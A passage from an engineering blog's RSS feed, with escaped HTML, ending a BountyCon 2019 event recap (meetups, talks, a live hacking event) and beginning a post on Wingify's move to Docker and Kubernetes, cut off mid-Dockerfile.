&lt;strong&gt;BountyCon{cr4zy_d33pl1nk_m461c}&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;By the end of the competition, I solved 18 challenges and earned a total of 943 points. Though it was nowhere near the 1200+ points achieved by Ankit and Dheeraj, I really enjoyed the competition :P :P&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_score.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 750px; height: auto;&quot;&gt; &lt;/div&gt; &lt;p&gt;After a couple of days, the three of us got an email from the Facebook team and we were delighted to know that we were selected as one of the top 20 winners from the APAC zone.&lt;/p&gt; &lt;h2 id=&quot;meeting-the-legend-jeff-moss&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#meeting-the-legend-jeff-moss&quot; aria-label=&quot;meeting the legend jeff moss permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Meeting the legend Jeff Moss&lt;/h2&gt; &lt;p&gt;      On March 28, we started from Delhi at around 11:00 PM and we reached Singapore on Friday morning. After a quick fresh-up at our hotel, we headed out for a walk in the city and ended up at Starbucks.&lt;/p&gt; &lt;p&gt;While we were chilling at Starbucks, Dheeraj got to know about an event &quot;&lt;a href=&quot;https://www.meetup.com/A-CON-Meetup/events/259861622/&quot;&gt;ALIBABA SECURITY Meetup&lt;/a&gt;&quot; on twitter. This was a security meetup that was hosted by the Lazada security team and the Alibaba Security Response Center. So, quickly we guys registered ourselves on their online forum and set out to attend the meetup.&lt;/p&gt; &lt;p&gt;We reached at around 7:00 PM to the venue of the meetup, Lazada Visitor Centre. After the opening ceremony, we had a chance to meet and greet the legend &lt;a href=&quot;https://twitter.com/thedarktangent&quot;&gt;Jeff Moss&lt;/a&gt;, Founder of &lt;a href=&quot;https://www.defcon.org/&quot;&gt;&lt;strong&gt;Defcon&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.blackhat.com/&quot;&gt;&lt;strong&gt;Blackhat&lt;/strong&gt;&lt;/a&gt;. It was a great honor to meet him in person!&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/alibaba_1.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/AsrcSecurity&quot;&gt;@AsrcSecurity&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/alibaba_2.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 300px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/AsrcSecurity&quot;&gt;@AsrcSecurity&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/alibaba_3.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/AsrcSecurity&quot;&gt;@AsrcSecurity&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/alibaba_4.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/AsrcSecurity&quot;&gt;@AsrcSecurity&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;The rest of our day consisted of an awesome dinner and afterward, we returned to our hotel and called it a night.&lt;/p&gt; &lt;h2 id=&quot;first-day-of-bountycon&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#first-day-of-bountycon&quot; aria-label=&quot;first day of bountycon permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;First Day of BountyCon&lt;/h2&gt; &lt;p&gt;      On the 30th March 2019, the first day of BountyCon, we reached at the venue of BountyCon, Facebook APAC HQ at around 8:30 AM. After registration, we got a cool badge, a BountyCon goodie bag with Google Tshirt, a BountyCon hoodie, a thermos flask and Notepad in it.&lt;/p&gt; &lt;p&gt;The first talk was by &lt;a href=&quot;https://twitter.com/fransrosen&quot;&gt;Frans Rosen&lt;/a&gt;, Security Advisor at Detectify, he gave a walkthrough on methodology and strategies to win big bounties. Here is a link to his &lt;a href=&quot;https://speakerdeck.com/fransrosen/live-hacking-like-a-mvh-a-walkthrough-on-methodology-and-strategies-to-win-big&quot;&gt;presentation&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Some of the top Security Researchers and Security Engineers that included &lt;a href=&quot;https://twitter.com/fin1te&quot;&gt;Jack&lt;/a&gt;&lt;a href=&quot;https://twitter.com/fin1te&quot;&gt;Whitton&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/in/maciej-szaw%C5%82owski-90b18951&quot;&gt;Maciej Szawłowsk&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/securityyasin&quot;&gt;Yasin Soliman&lt;/a&gt;, Richard Neal, &lt;a href=&quot;https://twitter.com/hivarekarpranav&quot;&gt;Pranav Hivarekar&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/whhackersbr&quot;&gt;João Lucas Melo Brasio&lt;/a&gt;, Mykola Babii, and &lt;a href=&quot;https://www.linkedin.com/in/mjezierny/&quot;&gt;Michael Jezierny&lt;/a&gt; also shared tips like chaining vulnerabilities to increase the impact and also gave some guidelines to pentest android application. The content of the talks was quite interesting, informative and gave a broad overview of the entire bug bounty process.&lt;/p&gt; &lt;p&gt;Top 4 CTF Winners, &lt;a href=&quot;https://twitter.com/kishanbagaria&quot;&gt;Kishan Bagaria&lt;/a&gt;, &lt;a href=&quot;https://www.linkedin.com/in/homing-tay-538baa58&quot;&gt;HoMing Tay&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/rahulkankrale&quot;&gt;Rahul Kankrale&lt;/a&gt; and Sachin Thakur gave presentations on approaches they used to find the hidden flags across both the platforms. I recommend checking out the writeup of BountyCon flags by my friend, &lt;a href=&quot;https://twitter.com/kishanbagaria&quot;&gt;Kishan&lt;/a&gt;, here is a link to his &lt;a href=&quot;https://kishanbagaria.com/bountycon/&quot;&gt;writeup&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;The long first day ended with a good dinner at Cook &amp;#x26; Brew at The Westin Hotel.&lt;/p&gt; &lt;h2 id=&quot;second-day-of-bountycon&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#second-day-of-bountycon&quot; aria-label=&quot;second day of bountycon permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Second Day of BountyCon&lt;/h2&gt; &lt;p&gt;      On the second day of BountyCon, Facebook kicked off with a live hacking event where researchers were challenged to report security bugs across both Facebook and Google. On that day, researchers from various APAC regions and few top researchers from Hackerone had submitted 40 bugs in total and Facebook awarded over $120k for valid submissions. The top three researchers with maximum points were &lt;a href=&quot;https://twitter.com/xdzmitry&quot;&gt;Dzmitry Lukyanenka&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/infosec_au&quot;&gt;Shubham Shah&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/Im_AnbuSelvam&quot;&gt;Anbu Selvam Mercy&lt;/a&gt;. After the award ceremony, the event was wrapped up with an amazing dinner at Nude Grills and a few drinks.&lt;/p&gt; &lt;p&gt;Overall it was a worthy learning experience and I would like to thank &lt;strong&gt;Facebook&lt;/strong&gt; and &lt;strong&gt;Google&lt;/strong&gt; for their effort in organizing this event.&lt;/p&gt; &lt;p&gt;Here are some of the photos that we took in Singapore and BountyCon:&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_1.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/rraahhuullk&quot;&gt;@rraahhuullk&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_2.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/GoogleVRP&quot;&gt;@GoogleVRP&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_3.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/ajdumanhug&quot;&gt;@ajdumanhug&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/12/bountycon_4.png&quot; style=&quot;box-shadow: 1px 1px 10px 1px #222; width: 700px; height: auto;&quot;&gt; &lt;div style=&quot;text-align:center;margin-top:5px;&quot;&gt; Picture Courtesy: &lt;a href=&quot;https://twitter.com/InfoSecJon&quot;&gt;@InfoSecJon&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;</content:encoded><author>Varun PK</author></item><item><title><![CDATA[Wingify towards Docker and Kubernetes]]></title><description><![CDATA[Introduction: At Wingify, we follow microservices based architecture to leverage it's great scalability benefits. We have a lot of…]]></description><link>https://engineering.wingify.com//posts/wingify-towards-docker-kubernetes/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-towards-docker-kubernetes/</guid><pubDate>Tue, 03 Dec 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduction&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#introduction&quot; aria-label=&quot;introduction permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Introduction:&lt;/h2&gt; &lt;p&gt;At Wingify, we follow microservices based architecture to leverage it&apos;s great scalability benefits. We have a lot of microservices along with a complex networking setup among them. Currently, all the services are deployed on virtual machines on the cloud. We wanted to improve this architecture set up and use the latest technologies available. To avoid all this we are moving towards &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; and &lt;a href=&quot;https://kubernetes.io/&quot;&gt;Kubernetes&lt;/a&gt; world!&lt;/p&gt; &lt;h2 id=&quot;why-docker-and-kubernetes&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-docker-and-kubernetes&quot; aria-label=&quot;why docker and kubernetes permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Why Docker and Kubernetes?&lt;/h2&gt; &lt;p&gt;The problems we are facing with the existing infrastructure:&lt;/p&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Standardization and consistency&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;There is always an issue of a consistent/standard environment between production and development.&lt;/li&gt; &lt;li&gt;Most of our time goes in creating a production like environment during development to rollout bugfixes or create any new features.&lt;/li&gt; &lt;li&gt;With the new architecture, now we are more equipped to efficiently analyze and fix bugs within the application. It has drastically reduced the time wasted on &quot;local environment issues&quot; and in turn increased time available to fix actual issues and new feature development.&lt;/li&gt; &lt;li&gt;Docker provides a repeatable production like development environment and eliminates the &quot;it works on my machine&quot; problem once and for all.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Local development&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;It&apos;s not easy to develop and debug a service locally and connect it to the rest of the services running on local environment.&lt;/li&gt; &lt;li&gt;Constantly redeploying on local environment to test the changes is time consuming.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Auto scaling&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The load on the services can never be the same all the time.&lt;/li&gt; &lt;li&gt;Keeping the services up for the whole year just to handle the peak load which comes on a few days of the festive season is a waste of resources.&lt;/li&gt; &lt;li&gt;Regularly benchmarking the load to scale the services with time is not an optimal way.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Auto service restarts&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;If the service goes in a hanged state or terminates due to memory leak, resource polling deadlocks, file descriptors issues or anything else, how it is going to restart automatically?&lt;/li&gt; &lt;li&gt;Although there are different tools available for multiple languages but setting them up for each service on every server is not ideal.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Load balancing&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Adding and maintaining an extra entry point like nginx just to provide load balancing is an overhead.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;We are trying to tackle all these problems in an automated and easy way using Docker, Kubernetes and few open-source tools.&lt;/p&gt; &lt;h2 id=&quot;our-journey&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#our-journey&quot; aria-label=&quot;our journey permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Our Journey&lt;/h2&gt; &lt;p&gt;We started out from scratch. Read a lot of articles, documentation, tutorials and went through some existing testing and production level open source projects. Some of them solved a few of our problems, for some we found our own way and the rest of them are yet to be solved!&lt;/p&gt; &lt;p&gt;Below is a brief idea of all the ideas and approaches we found to solve many of our problems, the final approach we took and comparison between them:&lt;/p&gt; &lt;h3 id=&quot;common-repository-approach&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#common-repository-approach&quot; aria-label=&quot;common repository approach permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Common repository approach&lt;/h3&gt; &lt;p&gt;Every dockerized service starts with a Dockerfile. But the initial issue is where to put them? There will be a lot of Dockerfiles combining all the services.&lt;/p&gt; &lt;p&gt;There are two ways to put them:&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Each service contains it&apos;s own dockerfile&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;All the repositories have separate dockerfiles specific to that service.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;A common repository of all dockerfiles&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;All the dockerfiles of every service are added to a common repository.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Below is the comparison among them:&lt;/p&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;&lt;/th&gt; &lt;th&gt;Common Repository&lt;/th&gt; &lt;th&gt;Separate Repositories&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;1.&lt;/td&gt; &lt;td&gt;Need a proper structure to distinguish dockerfiles&lt;/td&gt; &lt;td&gt;Separation of concerns&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;2.&lt;/td&gt; &lt;td&gt;Common Linters and Formatters&lt;/td&gt; &lt;td&gt;Each repo has to add the same linter and formatter repetitively&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;3.&lt;/td&gt; &lt;td&gt;Common githooks to regulate commit messages, pre-commit, pre-push, etc. tasks&lt;/td&gt; &lt;td&gt;Same githooks in every service&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;4.&lt;/td&gt; &lt;td&gt;Can contain reusable Docker base-files&lt;/td&gt; &lt;td&gt;No central place to put reusable dockerfiles&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;5.&lt;/td&gt; &lt;td&gt;A central place for DevOps to manage the permissions of all dockerfiles&lt;/td&gt; &lt;td&gt;Very difficult to manage dockerfiles individually by Devops&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt;You may be thinking about the ease of local development using volumes in the separate repository approach. We will get back to that later and show how easy it will be in a common repository approach.&lt;/p&gt; &lt;p&gt;So, the common repository approach is a clear winner among them. But what about its folder structure? We gave it plenty of thoughts and finally, this is our Docker repository folder structure:&lt;/p&gt; &lt;div style=&quot;text-align:center;margin:50px&quot;&gt; &lt;img src=&quot;/images/2019/11/docker_common_repo_structure.png&quot; style=&quot;height:500px;box-shadow: 2px 2px 10px 1px #222&quot;&gt; &lt;/div&gt; The folder structure is broadly categorized into 2 parts: * **Services directory:** - It contains the directories of all the services each having their own &apos;dockerfile&apos; and &apos;.dockerignore&apos; files. - Internally they inherit from the base images. * **Reusable base images directory:** - It contains all the reusable dockerfiles that are categorized broadly according to their respective languages like node, PHP, etc. - Dockerfiles containing only the languages are placed in the &apos;base&apos; folder. - All the extensions, plugins, tools, etc. of above base images are placed in the same directory, like &apos;thrift&apos; for node.js. - Versions are important as multiple services may use different versions of the same plugins. Like, one service may require MySQL 5.6 and the other one may require 5.7. So, each directory is further nested on the basis of versions. &lt;p&gt;Using this folder structure has multiple advantages:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;All the services and reusable base dockerfiles are segregated.&lt;/li&gt; &lt;li&gt;It becomes very clear that which dockerfile is for what service, language or plugin.&lt;/li&gt; &lt;li&gt;Multiple versions can be easily served.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Next, we will discuss the reusable base images concept.&lt;/p&gt; &lt;h3 id=&quot;dockerfile-linter&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dockerfile-linter&quot; aria-label=&quot;dockerfile linter permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Dockerfile Linter&lt;/h3&gt; &lt;p&gt;There are many opensource linters available for Docker files. We found &lt;a href=&quot;https://github.com/hadolint/hadolint&quot;&gt;hadolint&lt;/a&gt; meets most of the standards that Docker recommends. So, to lint all the files we just have to issue a simple command which can be easily integrated into the githooks.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;hadolint **/*Dockerfile&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h3 id=&quot;dockerfile-formatter&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#dockerfile-formatter&quot; aria-label=&quot;dockerfile formatter permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Dockerfile Formatter&lt;/h3&gt; &lt;p&gt;We searched and tried multiple formatters, but none of them worked as per our requirements. We found &lt;a href=&quot;https://github.com/jessfraz/dockfmt&quot;&gt;dockfmt&lt;/a&gt; was close to our requirements but it also has some issues like it removes all the comments from dockerfile. So, we are yet to find a better formatter.&lt;/p&gt; &lt;h3 id=&quot;reusable-docker-base-images&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#reusable-docker-base-images&quot; aria-label=&quot;reusable docker base images permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Reusable Docker base images&lt;/h3&gt; &lt;p&gt;It&apos;s very common that a lot of services need the same OS, tools, libraries, etc like all the node services may need Debian stretch OS with node.js and yarn installed of a particular version. So, instead of adding them in all such Docker files, we can create some reusable, pluggable Docker base images.&lt;/p&gt; &lt;p&gt;Below is the example of a Node.js service which requires:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Debian stretch OS&lt;/li&gt; &lt;li&gt;Node.js version 9.11.2 + Yarn&lt;/li&gt; &lt;li&gt;Apache thrift version 0.10.0&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;strong&gt;Node.js base image:&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;dockerfile&quot;&gt;&lt;pre class=&quot;language-dockerfile&quot;&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; debian&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;stretch&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;slim &lt;span class=&quot;token comment&quot;&gt;# Install Node 9.11.x&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# Defining builDeps as an argument in alphabetical order for better readability and avoiding 